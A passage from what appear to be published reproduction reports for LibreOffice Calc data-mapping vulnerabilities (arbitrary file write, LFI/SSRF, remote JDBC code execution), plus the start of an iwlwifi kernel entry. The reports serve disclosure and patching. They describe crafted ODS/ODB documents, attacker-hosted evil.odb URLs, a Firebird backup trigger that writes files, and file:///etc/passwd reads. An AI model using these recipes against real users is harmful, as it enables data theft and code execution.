1,2`) — the same document opens without leaking, and the fixed product never fetches the attacker-hosted odb (access log shows only the healthcheck GET). ## Evidence - Run log: `bundle/logs/reproduction_steps.log` - `vulnerable build: LibreOffice 26.2.4.2 0229ac93fcf0d7cbc6376066c6f35021cef002dc` - `fixed build: LibreOffice 26.2.5.2 cd7284b4cbbfeb507e630c1aac019f4157393acb` - `attempt vulnerable-1: SECRET LEAKED into sheet (odb fetched 3x by product)` - `attempt vulnerable-2: SECRET LEAKED into sheet (odb fetched 3x by product)` - `attempt fixed-1: no leak (odb fetched 1x by product)` - `attempt fixed-2: no leak (odb fetched 1x by product)` - Leaked sheet (vulnerable attempt 1), `repro/proof/vulnerable-1/leaked-sheet.csv`: ``` CVE-2026-63268-vulnerable-1-LEAKED-SECRET-MARKER-e7a101ec,do-not-exfiltrate row2,second-secret-line ``` (the victim-only local file content, now inside the Calc sheet) - Fixed attempt 1, `repro/proof/fixed-1/leaked-sheet.csv`: ``` a,b 1,2 ``` - Product fetch of the attacker-hosted odb, `repro/proof/vulnerable-1/http-server.log`: ``` "HEAD /evil.odb HTTP/1.1" 200 - "GET /evil.odb HTTP/1.1" 200 - ``` while `repro/proof/fixed-1/http-server.log` shows only the script's healthcheck GET. - Strict per-attempt observations: `repro/proof/{vulnerable,fixed}-{1,2}/observation.json` (`marker_leaked_into_sheet` true/false respectively). - Runtime manifest with digests: `bundle/repro/runtime_manifest.json`. - Environment: Linux x86-64 (Ubuntu), non-sanitized official product builds (`soffice --headless --convert-to`), attacker resource served by `python3 -m http.server` on 127.0.0.1, `sudo apt-get install` of standard X/GTK runtime libraries only. ## Recommendations / Next Steps - Upgrade to LibreOffice 26.2.5 / 26.8.0 (fix commit `104d2b4f5dae917661b20b18d5d2043fca4407e4`), where document load restores only the `csv`, `html` and `xml` data providers and logs `ignoring document data mapping for provider "..."` for anything else. - Defense in depth (upstream hardening opportunities beyond the shipped fix): - `SQLFetchThread` should not resolve document-supplied database names through `DatabaseContext::getByName`, which interprets arbitrary names as loadable URLs. - Document-initiated network fetches of database resources on open should be gated behind the existing link-update/external-link trust controls. - Testing recommendation: add an ODS import unit test that a `calcext:data-mapping` with `calcext:provider="org.libreoffice.calc.sql"` (and any other non csv/html/xml provider) is dropped on load; the sibling advisories CVE-2026-63266/CVE-2026-63267/CVE-2026-63269/CVE-2026-63270/CVE-2026-63277 exercise the same restore path through other SDBC providers. ## Additional Notes - Idempotency: the script was executed twice consecutively with identical results (both runs: 2/2 vulnerable attempts leak, 2/2 fixed attempts fail closed; both runs exit 0). All state is per-run (fresh victim secret, fresh user profiles, unique ports and markers); downloaded product tarballs and unpacked trees are reused from `bundle/repro/cache/` when already present and intact. - The attacker odb can equally be referenced through any URL scheme LibreOffice can load (file:// for a locally delivered odb was also verified during analysis; the shipped proof uses an attacker-hosted HTTP URL, matching the remote-attacker scenario). The `xlink:href` stored in the mapping is the `sdbc:flat:file://` db href naming the victim's folder; the operative href inside the odb is what turns that folder into a database. - A direct `calcext:id` of `table@sdbc:flat:file://...` does *not* resolve (`ODatabaseContext::loadObjectFromURL` rejects it because the UCB reports it is not a loadable document URL), which is why the odb indirection is part of the working mechanism — consistent with the advisory wording that the link "names a folder of local text files as a database". - The leak destination is the attacker-chosen named database range, so the leaked content can be laid out anywhere in the sheet; retrieval by the attacker requires the usual save-and-return or preview channel (not exercised here — only the disclosure into the sheet is claimed and was proven). ### Reproduction - Reproduced: 2026-10-06T05:22:25.648Z - Duration: 4133s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00377 # or: pruva-verify CVE-2026-63268 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00377 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00377/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00377 ================================================================================ ## REPRO-2026-00376: Arbitrary file write via calcext:data-mappings, sql provider and Firebird backup functionality — document-driven write to any user-writable path -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00376 - CVE: CVE-2026-63266 (https://nvd.nist.gov/vuln/detail/CVE-2026-63266) ### Package Information - Name: LibreOffice/core - Ecosystem: other - Affected: LibreOffice Calc versions prior to 26.2.5 (e.g. 26.2.4.2, last 26.2 release before the fix); 25.x line before 26.8.0 fix lineage - Fixed: 26.2.5 - Severity: high - CVSS: Unknown - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) ### Root Cause # CVE-2026-63266 — Root Cause Analysis ## Summary LibreOffice Calc restores persisted external data links (`calcext:data-mappings`) while a document is being loaded. A crafted ODS can persist an `org.libreoffice.calc.sql` data-mapping whose database component resolves to an attacker-hosted `.odb` document containing an *embedded* Firebird database. In affected versions (LibreOffice 26.2.4.2 and earlier 26.2.x), the embedded Firebird driver restores/attaches that database without `isc_dpb_no_db_triggers`, so an `ON CONNECT` database trigger stored in the crafted database executes during document open. That trigger drives the Firebird *nbackup* functionality (`ALTER DATABASE ADD DIFFERENCE FILE ''` + `ALTER DATABASE BEGIN BACKUP`), which makes the Firebird engine create and write the nbak difference file at **any attacker-chosen location the user can write to** — an arbitrary file write driven purely by opening a document. ## Impact - Package/component affected: LibreOffice Calc (sc — external data provider import), dbaccess (`sdb::DatabaseContext`), connectivity Firebird SDBC driver (`connectivity/source/drivers/firebird`) and the bundled Firebird 3.0.14 engine. - Affected versions: LibreOffice 26.2 series below 26.2.5 (verified on the official 26.2.4.2 Linux x86-64 build, build commit `0229ac93fcf0d7cbc6376066c6f35021cef002dc`). - Risk level: high (advisory severity). Consequences: a victim who opens an attacker crafted spreadsheet gets a file written (created/appended, engine page data plus attacker-influenced content such as trigger-inserted rows and the stored target-path header clumplet) to any path the victim user can write — e.g. overwriting a user config file, planting files in auto-started locations, or corrupting user data. ## Impact Parity - Disclosed/claimed maximum impact: "Arbitrary file write to any path the user can write, driven by a crafted document on open" (advisory CVE-2026-63266; claim contract expected impact `oob_write`). - Reproduced impact from this run: **full parity** — opening the crafted ODS in the vulnerable product created a new file at an attacker-chosen absolute user-writable path (`$HOME/CVE-2026-63266_PWNED.marker`, 16 KB+, containing the attacker-chosen target path and attacker-controlled row content), entirely outside LibreOffice's temp/firebird private directories. The fixed product opened the same document through the same path without creating the file. - Parity: `full`. - Not demonstrated: this proof stops at the arbitrary file write (the claimed impact). No code execution was attempted and none is claimed by this advisory. ## Root Cause Chain of vulnerable decisions (all corrected in 26.2.5): 1. **Calc restores external data mappings at load** — `sc/source/filter/xml/xmlmappingi.cxx`: `ScXMLMappingContext` inserts the `calcext:data-mapping` (provider `org.libreoffice.calc.sql`, id `T@`) and its destructor immediately calls `ExternalDataSource::refresh(pDoc, true)`. 2. **The sql provider resolves the database part of the id as a URL** — `sc/source/ui/dataprovider/sqldataprovider.cxx` → `sdb::DatabaseContext::getByName(aDatabase)`; in `dbaccess/source/core/dataaccess/databasecontext.cxx`, a non-registered name is *interpreted as a URL* and loaded (`loadObjectFromURL`), so the crafted ODS pulls the attacker-hosted `.odb` over HTTP at load time. 3. **The embedded Firebird database is attached without `isc_dpb_no_db_triggers`** — `connectivity/source/drivers/firebird/Connection.cxx` (`construct`): for `sdbc:embedded:firebird` the fbk is restored via the Firebird service manager and the resulting database is attached; the crafted database's `ON CONNECT` trigger therefore runs inside the victim's LibreOffice process. 4. **The engine is not confined to a private directory** — the bundled Firebird engine had no `DatabaseAccess = Restrict` confinement, and the nbak difference file paths stored in the database header were not verified against `DatabaseAccess` (see LO's bundled-firebird patch `external/firebird/firebird-nbak-difference-file-access.patch.1`: "The difference file opened in openDelta and beginBackup was not verified against DatabaseAccess like the other database file paths"). The `ON CONNECT` trigger runs `ALTER DATABASE ADD DIFFERENCE FILE ''` + `ALTER DATABASE BEGIN BACKUP`; `BackupManager::beginBackup` does `PIO_create(tdbb, diff_name, ...)` at the stored path → a file is created and written at the attacker-chosen location. Fix commits (all part of LibreOffice 26.2.5 / 26.8.0, present in the verified fixed build `cd7284b4cbbfeb507e630c1aac019f4157393acb` and absent from the vulnerable build): - `c656bab4c907` (cherry-picked as `b7c1e1cc355c` in 26.2.5) — "firebird: keep each embedded database's files in one directory": gives the driver a private data directory, extracts embedded databases into it and writes `firebird.conf` with `DatabaseAccess = Restrict ` so an embedded Firebird database can open or create files only inside its own private directory (the advisory's stated fix). - `736210ff4ced` (`4c75c4c03577`) — "firebird: don't attach a database that is not in the normal backup state" + the bundled nbak difference-file `DatabaseAccess` check. - `cc5ac2a8197a` (`27ba4a9d24cb`) — "firebird: don't run an attached database's own event triggers" (`isc_dpb_no_db_triggers`), blocking the ON CONNECT vector. - `8cfa628be87f` (`249c36ad76da`) — "firebird: only write back an embedded database that was opened". - `49c3c4e59c48` — "put calc external data mappings under link update control" (the sibling hardening that stops the sql provider from auto-restoring at load). ## Reproduction Steps 1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash bundle/repro/reproduction_steps.sh`, exit 0 = confirmed). 2. What the script does: - Installs the shared-library prerequisites of the official LibreOffice deb binaries and downloads/pins by SHA-256 the official 26.2.4.2 (vulnerable) and 26.2.5.2 (fixed) Linux x86-64 builds plus the Firebird 3.0.14 toolset that matches the engine LibreOffice bundles. - Crafts the malicious embedded Firebird database with standalone `isql`: a table with attacker-chosen rows and an `ON CONNECT` database trigger that executes `ALTER DATABASE ADD DIFFERENCE FILE '<$HOME/CVE-2026-63266_PWNED.marker>'` and `ALTER DATABASE BEGIN BACKUP`, then inserts an attacker-chosen row; `gbak` produces `evil.fbk` (the trigger survives backup/restore — verified). - Builds `crafted/evil.odb` (a real Base ODB package declaring `sdbc:embedded:firebird` with our fbk swapped into the `database/firebird.fbk` storage element, shape taken from `repro/ref_odb.zip` produced by the real product) and `crafted/evil.ods` (a real Calc ODS package with `calcext:data-mapping xlink:href=http://127.0.0.1:/evil.odb calcext:provider="org.libreoffice.calc.sql" calcext:id="T@http://127.0.0.1:/evil.odb"` inside `office:spreadsheet`, shape from `repro/ref_ods.zip`). - Serves `evil.odb` from a local attacker HTTP server (the attacker-hosted ODB of the advisory's scenario), then runs **two vulnerable and two fixed product attempts** through the real document-open path (`soffice --headless --convert-to ods`, fresh `-env:UserInstallation` profile per attempt, bounded by `timeout`), recording per-attempt transcripts, HTTP access snapshots and the marker file, and writes `bundle/repro/runtime_manifest.json`. 3. Expected evidence of reproduction (observed in both consecutive runs): - vulnerable attempts: `odb_http_get_requests=2`, `marker_present=true`, `marker_contains_target_path=true`, soffice exits 134 (product-visible abort *after* the file write — the write itself already succeeded); - fixed attempts: `soffice_exit_code=0`, `odb_http_get_requests=0`, `marker_present=false`; - overall verdict `confirmed=true`, script exit code 0. ## Evidence - Script transcript (both runs): `bundle/logs/reproduction_steps.log` - Attempt verdicts: `bundle/repro/attempts-verdict.json` - Per-attempt proof (immutable): `bundle/repro/proof/vulnerable-{1,2}/` (`soffice.log`, `result.json`, `marker.bin`, `marker-strings.txt`, `attacker-http-snapshot.log`) and `bundle/repro/proof/fixed-{1,2}/` - Runtime manifest with target identity + artifact hashes: `bundle/repro/runtime_manifest.json` (vulnerable target: `git:https://github.com/libreoffice/core@0229ac93fcf0d7cbc6376066c6f35021cef002dc`; fixed control build: `cd7284b4cbbfeb507e630c1aac019f4157393acb`) - Key excerpts (second run): - `attempt vulnerable-1 result: exit=134 odb_gets=2 marker=PRESENT` - `attempt vulnerable-2 result: exit=134 odb_gets=2 marker=PRESENT` - `attempt fixed-1 result: exit=0 odb_gets=0 marker=absent` - `attempt fixed-2 result: exit=0 odb_gets=0 marker=absent` - `=== verdict: confirmed=True ===` - `proof/vulnerable-1/marker-strings.txt` contains the attacker-chosen absolute target path string stored in the crafted database header. - Environment: Ubuntu (resolute) x86-64 container, user `vscode`; official TDF deb builds of LibreOffice 26.2.4.2 and 26.2.5.2 extracted per-run (not installed); attacker HTTP server `python3 -m http.server` on 127.0.0.1. ## Recommendations / Next Steps - Upgrade to LibreOffice >= 26.2.5 (or >= 26.8.0). All five hardening commits listed under Root Cause are contained in the fixed build verified by this proof. - Fix approach (already applied upstream): confine the embedded Firebird engine to a per-driver private directory with `DatabaseAccess = Restrict`, refuse to attach databases in a non-normal nbackup state, verify nbak difference-file paths against `DatabaseAccess`, disable database event triggers on attach (`isc_dpb_no_db_triggers`), and place restored external data mappings under the standard link-update control so the sql provider is not silently re-run at load. - Testing recommendations: add a document-driven regression test that opens an ODS with an `org.libreoffice.calc.sql` data-mapping pointing at an ODB whose embedded Firebird database carries an `ON CONNECT` trigger and an nbak difference-file path outside the private directory, asserting that (a) the trigger does not run and (b) no file appears outside the driver's private directory. ## Additional Notes - Idempotency: the script was executed twice consecutively with identical confirmed results (exit 0 both times). All large downloads are SHA-256-pinned and cached in `$HOME/.cache/pruva-cve-2026-63266`; each attempt uses a fresh LibreOffice profile and a fresh marker state. - Edge cases/limitations: (1) the marker path must be user-writable, as the advisory says ("any location the user could write to"); (2) the vulnerable soffice process aborts (exit 134, "Unspecified Application Error") *after* the write because the trigger leaves the database in the nbak stalled state — the arbitrary write itself has already happened when the abort occurs, which is visible in the attempt logs; (3) the HTTP-hosted ODB models the advisory's attacker-hosted database delivery on loopback; a `file://` URL to a local ODB works identically (verified during development) but the HTTP form matches the disclosed attack shape; (4) the bundled engine is Firebird 3.0.14, so the crafted database was built with the matching upstream Firebird 3.0.14 toolset (its fbk ODS format is engine-version specific). ### Reproduction - Reproduced: 2026-10-06T05:21:56.621Z - Duration: 7015s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00376 # or: pruva-verify CVE-2026-63266 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00376 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00376/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00376 ================================================================================ ## REPRO-2026-00375: LFI and GET SSRF via calcext:data-mappings and csv provider — document open reads a local file into the sheet and issues an attacker-directed GET -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00375 - CVE: CVE-2026-63267 (https://nvd.nist.gov/vuln/detail/CVE-2026-63267) ### Package Information - Name: LibreOffice (The Document Foundation) - Ecosystem: vendor - Affected: LibreOffice < 26.2.5 (26.2.x line) and < 26.8.0 - Fixed: 26.2.5 - Severity: medium - CVSS: Unknown - CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) ### Root Cause # CVE-2026-63267 — RCA: LFI and GET SSRF via calcext:data-mappings (csv provider) ## Summary LibreOffice Calc persists external csv data-source links inside the document (`calcext:data-mappings` / `calcext:data-mapping` with provider `org.libreoffice.calc.csv`). In vulnerable versions the link target (`xlink:href`) was fetched automatically while the document loaded, with no link-update gate. Opening an attacker-crafted spreadsheet therefore (a) reads an arbitrary local file into sheet cells (LFI, e.g. via `file:///etc/passwd`) and (b) issues an attacker-directed HTTP GET to a host of the document's choosing (SSRF). The reproduction proves both effects end-to-end through the real LibreOffice Calc document-open path on LibreOffice 26.2.4.2, and proves the negative control on fixed LibreOffice 26.2.5.2, where the fetch is gated behind the same link-update control as other spreadsheet links. ## Impact - Package/component: LibreOffice Calc (`sc`), external data providers (`calcext:data-mappings`, csv provider `org.libreoffice.calc.csv`). - Affected versions: LibreOffice < 26.2.5 / < 26.8.0 (reproduced on 26.2.4.2, build `0229ac93fcf0d7cbc6376066c6f35021cef002dc`). - Risk: medium. Local file disclosure into the sheet (contents can then be exfiltrated, e.g. via a companion mapping or the sibling data-mapping bugs) and unauthenticated GET SSRF to arbitrary hosts (including internal network targets) triggered merely by opening a document. ## Impact Parity - Disclosed/claimed maximum impact: local file read into the sheet (LFI) and attacker-directed GET request (SSRF) on document open. - Reproduced impact from this run: both — the vulnerable build read a unique marker from a local `file://` CSV into cell A1 (2/2 attempts) and issued HTTP GETs carrying per-attempt unique tokens to the attacker-controlled server (2/2 attempts), both during plain document load. - Parity: `full`. - Not demonstrated: nothing claimed beyond LFI + GET SSRF; no code execution was claimed or pursued for this ticket. ## Root Cause When a document containing `calcext:data-mappings` is loaded, Calc's external data mapper (`ScExternalDataMapper`) reconstructs the persisted data sources and the csv provider immediately refreshed (fetched) the mapping's `xlink:href` target during load. Because the fetch happened at load time rather than through the `sfx2::LinkManager` update path, neither the "update links when loading" user setting nor any prompt protected the user: the document decided if and where a fetch happened. Since `xlink:href` accepts both `file://` and `http(s)://` URLs, the load-time fetch yields LFI and SSRF respectively. Fix: in LibreOffice 26.2.5 / 26.8.0 (fix by Caolán McNamara) a data mapping loaded from a document is registered as an external link in the document's `LinkManager`, and its data is only refreshed when link updating is allowed — the same gate that governs sheet links and area links. The upstream QA test `testLinkUpdateGate` (sc/qa/unit/dataproviders_test.cxx, fixture `sc/qa/unit/data/dataprovider/mappinggate.fods`) encodes exactly this: "With updating not allowed, updating the links leaves the saved value." ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; downloads the official TDF release tarballs if not already cached under `bundle/artifacts/`). 2. The script: - Downloads and extracts LibreOffice 26.2.4.2 (vulnerable) and 26.2.5.2 (fixed) Linux x86-64 deb packages (only `ure`, core, calc, en-us components) from downloadarchive.documentfoundation.org. - Generates a flat ODS (`.fods`) document whose `calcext:data-mapping` (provider `org.libreoffice.calc.csv`) points at `file:///local_secret.csv` (LFI probe) and a second document pointing at `http://127.0.0.1:8931/CVE-2026-63267-SSRF-.csv` (SSRF probe). The saved cell content is the sentinel `SAVED_SENTINEL_NOT_FETCHED`. - Starts a Python attacker HTTP server that logs every GET and serves a marker CSV. - Opens each document through the real product binary (`soffice --headless --convert-to csv`), 2 attempts per role (vuln/fixed × lfi/ssrf), each with an isolated user profile. - Evaluates: vulnerable LFI = converted sheet contains the local-file marker; vulnerable SSRF = attacker server received the per-attempt GET; fixed = sheet still holds the sentinel and no GET was received. 3. Expected evidence of reproduction: `sheet-vuln-lfi-*.csv` contain `CVE-2026-63267_LFI_SECRET_9f4d2c`; `http-server-final.log` contains GETs for the `vuln-ssrf-*` tokens only; `sheet-fixed-*.csv` contain `SAVED_SENTINEL_NOT_FETCHED`. ## Evidence - Full run log: `bundle/logs/reproduction_steps.log` (two consecutive successful runs, both exit 0). - Per-attempt product logs: `bundle/logs/{vuln,fixed}-{lfi,ssrf}-{1,2}.log`. - Attacker server request log: `bundle/repro/http-server-final.log`: - `GET /CVE-2026-63267-SSRF-vuln-ssrf-1.csv from 127.0.0.1` - `GET /CVE-2026-63267-SSRF-vuln-ssrf-2.csv from 127.0.0.1` - No `fixed-ssrf-*` request lines. - Converted sheets: `bundle/repro/sheet-vuln-lfi-1.csv` = `CVE-2026-63267_LFI_SECRET_9f4d2c` (local file content injected into the sheet at load); `bundle/repro/sheet-fixed-lfi-1.csv` = `SAVED_SENTINEL_NOT_FETCHED`. - Verdict counts (both runs): vulnerable LFI 2/2, vulnerable SSRF 2/2, fixed LFI clean 2/2, fixed SSRF clean 2/2. - Environment: Linux x86-64, no Docker; official TDF deb builds, headless `svp` VCL plugin. Vulnerable build identity: LibreOffice 26.2.4.2 `0229ac93fcf0d7cbc6376066c6f35021cef002dc`, tarball SHA-256 `810ef197e190d7804a60e0016052c46ff33792303a200fddda9d5216a64b9900`. Fixed build: LibreOffice 26.2.5.2 `cd7284b4cbbfeb507e630c1aac019f4157393acb`, tarball SHA-256 `2f03bfb2ac9f33ea7c77331b4b7a23300fb0ed7443566046bf8b5bc51c1bed1e`. - Runtime manifest with artifact hashes: `bundle/repro/runtime_manifest.json`. ## Recommendations / Next Steps - Upgrade to LibreOffice 26.2.5 / 26.8.0 or later, where external data links are updated only under the link-update control. - The upstream fix approach (registering data mappings as LinkManager links gated by the link-update permission) is confirmed effective by the fixed negative control in this reproduction. - Testing recommendation: keep `testLinkUpdateGate`-style coverage for both `file://` and `http(s)://` hrefs and for headless document load. ## Additional Notes - Idempotency: the script was run twice consecutively in this session; both runs exited 0 with identical verdicts. Re-runs reuse the extracted builds under `bundle/artifacts/libreoffice/` and re-generate all documents, secrets, tokens, and logs. - The demonstration uses the real product binary through its normal document-open path (`soffice --headless --convert-to csv`); no sanitizer, no mock, no reimplementation. - The SSRF target is a loopback attacker server for safety; the vulnerable code path issues a real HTTP GET to whatever host the document names. - Sibling data-mapping advisories (CVE-2026-63266 … CVE-2026-63277) share the same load-time fetch root cause with different providers/impacts; they are separate tickets. ### Reproduction - Reproduced: 2026-10-05T21:14:47.992Z - Duration: 2732s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00375 # or: pruva-verify CVE-2026-63267 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00375 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00375/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00375 ================================================================================ ## REPRO-2026-00374: LibreOffice Calc RCE via calcext:data-mappings, sql provider and jdbc connector — document-named Java DB driver loaded from a remote class path URL on open -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00374 - CVE: CVE-2026-63277 (https://nvd.nist.gov/vuln/detail/CVE-2026-63277) ### Package Information - Name: LibreOffice Calc - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: Unknown ### Root Cause # Root Cause Analysis — CVE-2026-63277 ## Summary LibreOffice Calc 26.2.4.2 and earlier can automatically process a persisted `calcext:data-mappings` SQL data provider while opening an attacker-crafted `.ods`. The mapping's identifier can point to a remote `.odb` database document. That database document controls the JDBC driver class name and `JavaDriverClassPath`; vulnerable LibreOffice passes an HTTP class-path URL into its Java class loader without restricting it to local files. As a result, opening the spreadsheet causes Calc to retrieve and initialize an attacker-controlled Java class. This run demonstrated that behavior through the real `soffice` document-open path and recorded target-local code-execution markers. ## Impact - **Affected component:** LibreOffice Calc external data mappings, SQL data provider, database document loader, JDBC connector, and `jvmaccess::ClassPath`. - **Affected versions:** Reproduced with official LibreOffice 26.2.4.2 (build commit `0229ac93fcf0d7cbc6376066c6f35021cef002dc`). The vendor states the issue is fixed in 26.2.5 and 26.8.0. - **Fixed control:** Official LibreOffice 26.2.5.2 (build commit `cd7284b4cbbfeb507e630c1aac019f4157393acb`). - **Risk:** High. A malicious spreadsheet can execute Java bytecode with the privileges of the LibreOffice user when the document is opened. The executed Java code can access files, processes, and network resources available to that account. ## Impact Parity - **Disclosed/claimed maximum impact:** Code execution from a crafted Calc document. - **Reproduced impact:** Attacker-controlled Java code execution in the real LibreOffice process path. The remote driver's static initializer wrote `CVE-2026-63277_REMOTE_JDBC_CODE_EXECUTION` to a unique marker for each vulnerable attempt. - **Parity:** `full` - **Not demonstrated:** No additional privilege escalation was attempted or claimed. The payload intentionally used a harmless file marker rather than launching a shell. ## Root Cause The ODS importer creates an `ExternalDataSource` for every persisted `calcext:data-mapping`. The vulnerable import path refreshes each mapping immediately when the mapping context is destroyed. For `calcext:provider="org.libreoffice.calc.sql"`, `SQLDataProvider` parses an ID of the form `
@` and gives `` to `com.sun.star.sdb.DatabaseContext::getByName`. If the name is not registered, the database context treats it as a URL and loads the referenced `.odb`. The remotely supplied `.odb` can persist: - `db:connection-resource` selecting a JDBC URL; - `db:java-driver-class` selecting an attacker-defined driver class; and - `db:java-classpath` selecting where that class is loaded from. In vulnerable builds, `jvmaccess::ClassPath::translateToUrls` converts every class-path entry into a Java URL without constraining its scheme. Therefore an HTTP entry reaches a Java class loader, which downloads and initializes the selected JDBC driver. Java class initialization is already arbitrary code execution; it happens before a successful database query is necessary. The fixed code adds URL parsing in `jvmaccess/source/classpath.cxx` and raises `IllegalArgumentException` unless every Java class-path entry has the `file` scheme. The ticket identifies fixed releases rather than a specific core commit. The tested fixed release build is `cd7284b4cbbfeb507e630c1aac019f4157393acb`; its `jvmaccess/source/classpath.cxx` contains the nine-line scheme-validation change relative to vulnerable build `0229ac93fcf0d7cbc6376066c6f35021cef002dc`. ## Reproduction Steps 1. Run `bash bundle/repro/reproduction_steps.sh` from any directory. The script honors `PRUVA_ROOT` and uses the prepared project cache when available. 2. The script downloads immutable official LibreOffice archives for 26.2.4.2 and 26.2.5, verifies/logs their SHA-256 hashes, extracts the real products, and installs required runtime libraries and a JDK if absent. 3. It compiles an attacker-controlled JDBC driver whose static initializer writes a unique marker, generates a remote `.odb` containing an HTTP `db:java-classpath`, and generates a Calc `.ods` containing a persisted SQL `calcext:data-mapping` that points to that `.odb`. 4. A local HTTP service hosts the `.odb` and Java class. The script opens isolated document copies with real vulnerable and fixed `soffice` processes: two vulnerable attempts followed by two fixed attempts. 5. Success requires both vulnerable attempts to contain `marker_present=true` and the exact code-execution marker, while both fixed attempts contain `marker_present=false`. The script exits 0 only when this vulnerable/fixed divergence is observed. ## Evidence - `bundle/repro/vulnerable-attempt-1.txt` and `vulnerable-attempt-2.txt`: each records `marker_present=true` and `CVE-2026-63277_REMOTE_JDBC_CODE_EXECUTION`. - `bundle/repro/fixed-attempt-1.txt` and `fixed-attempt-2.txt`: each records `marker_present=false` for the same attacker procedure. - `bundle/repro/http-server-final.txt`: records HTTP retrieval of `/evil.odb` and `/evil/RemoteDriver.class` by vulnerable Calc. There are two vulnerable retrieval sequences and no fixed retrieval of the remote class. - `bundle/logs/product-archives.sha256`: immutable official archive hashes: - 26.2.4.2: `810ef197e190d7804a60e0016052c46ff33792303a200fddda9d5216a64b9900` - 26.2.5: `2f03bfb2ac9f33ea7c77331b4b7a23300fb0ed7443566046bf8b5bc51c1bed1e` - `bundle/logs/vulnerable-version.txt` and `fixed-version.txt`: real product versions and build SHAs. - `bundle/repro/runtime_manifest.json`: strict runtime manifest binding all finalized proof artifacts and their SHA-256 hashes. - `bundle/logs/reproduction_steps.log`: full setup and diagnostic transcript. It is intentionally not listed as immutable proof because the script writes to it during execution. Key vulnerable excerpt: ```text role=vulnerable attempt=1 exit_code=255 marker_present=true marker_content_begin CVE-2026-63277_REMOTE_JDBC_CODE_EXECUTION marker_content_end ``` Key fixed-control excerpt: ```text role=fixed attempt=1 exit_code=255 marker_present=false ``` The exit code reflects intentional process-group termination after the bounded observation window, not a product crash. No sanitizer or instrumentation was used. ## Recommendations / Next Steps - Upgrade to LibreOffice 26.2.5 or 26.8.0 and later. - Retain the fixed `jvmaccess::ClassPath::translateToUrls` policy that rejects missing, malformed, and non-`file:` class-path entries before creating Java URLs. - Add regression coverage that opens a real Calc data-mapping document with a remote `.odb`, rather than testing only the lower-level class-path helper. - Cover HTTP, HTTPS, redirecting URLs, compound class paths, case variants of URL schemes, percent-encoded input, and expansion URLs. - Keep a fixed negative control proving the remote `.odb` may be encountered but its Java class is never downloaded or initialized. - Consider separately applying Calc's external-link consent controls to SQL mappings and remote database documents as defense in depth. ## Additional Notes - **Idempotency:** The final reproducer was executed twice consecutively after completion. Every run recreates the generated ODS/ODB/payload, allocates a fresh loopback port, uses fresh user profiles and document copies, and kills each product process group before the next attempt. - **User-facing path:** This is a production-path `viewer_document` proof using the official uninstrumented `soffice` product, not a parser or unit harness. - **Network scope:** The HTTP service binds only to `127.0.0.1`; this safely reproduces the remote URL semantics while preventing exposure outside the sandbox. - **Payload limitation:** The proof class only writes a marker. That is deliberate and sufficient because it is attacker-authored Java executing through the vulnerable class loader. ### Reproduction - Reproduced: 2026-10-05T18:48:57.890Z - Duration: 8695s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00374 # or: pruva-verify CVE-2026-63277 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00374 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00374/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00374 ================================================================================ ## REPRO-2026-00373: Linux kernel iwlwifi PCIe UAF/double-free — iwl_pcie_rx_free() leaves freed RX pointers (rx_pool, global_table, rxq, alloc_page) non-NULL after free -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00373 - CVE: CVE-2026-93796 (https://nvd.nist.gov/vuln/detail/CVE-2026-93796) ### Package Information - Name: linux kernel (torvalds/linux / stable linux.git) - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: medium - CVSS: Unknown - CWE: CWE-416 (Use After Free) ### Root Cause # CVE-2026-93796 — Root Cause Analysis: iwlwifi PCIe `iwl_pcie_rx_free()` double-free / use-after-free ## Summary The Linux kernel iwlwifi PCIe transport frees its RX bookkeeping objects in `iwl_pcie_rx_free()` (`drivers/net/wireless/intel/iwlwifi/pcie/gen1_2/rx.c`, older trees: `pcie/rx.c`) but never invalidates the pointers on the still-live `struct iwl_trans_pcie`. The function's own re-entry guard uses `trans_pcie->rxq == NULL` as the "nothing allocated" sentinel, so after a first free — performed on the nic-init error unwind when `iwl_pcie_tx_init()` fails inside `iwl_pcie_nic_init()` — any later teardown or retry path (interface down/up, driver unbind/rebind, reprobe, suspend/resume, error recovery) that calls `iwl_pcie_rx_free()` again passes the guard and re-frees `rx_pool`, `global_table`, `rxq` (kfree) and `alloc_page` (__free_pages), producing a double-free, and dereferences the freed `rx_pool[]`/`rxq[]` arrays, producing a slab use-after-free (CWE-416, with missing pointer invalidation CWE-459). ## Impact - Component: Linux kernel `iwlwifi` PCIe transport (`drivers/net/wireless/intel/iwlwifi/pcie/gen1_2/rx.c`). - Affected versions: `< 6.12.111`; `6.13.0 – 6.18.53`; `6.19.0 – 7.1.x`. - Fixed in: 6.12.111 (`6ec5bf430cf7466cb412e47f2761594092781fac`), 6.18.53 (`3456c5bcc987aeb182e50e30c9b02be8420e9953`), upstream 7.2 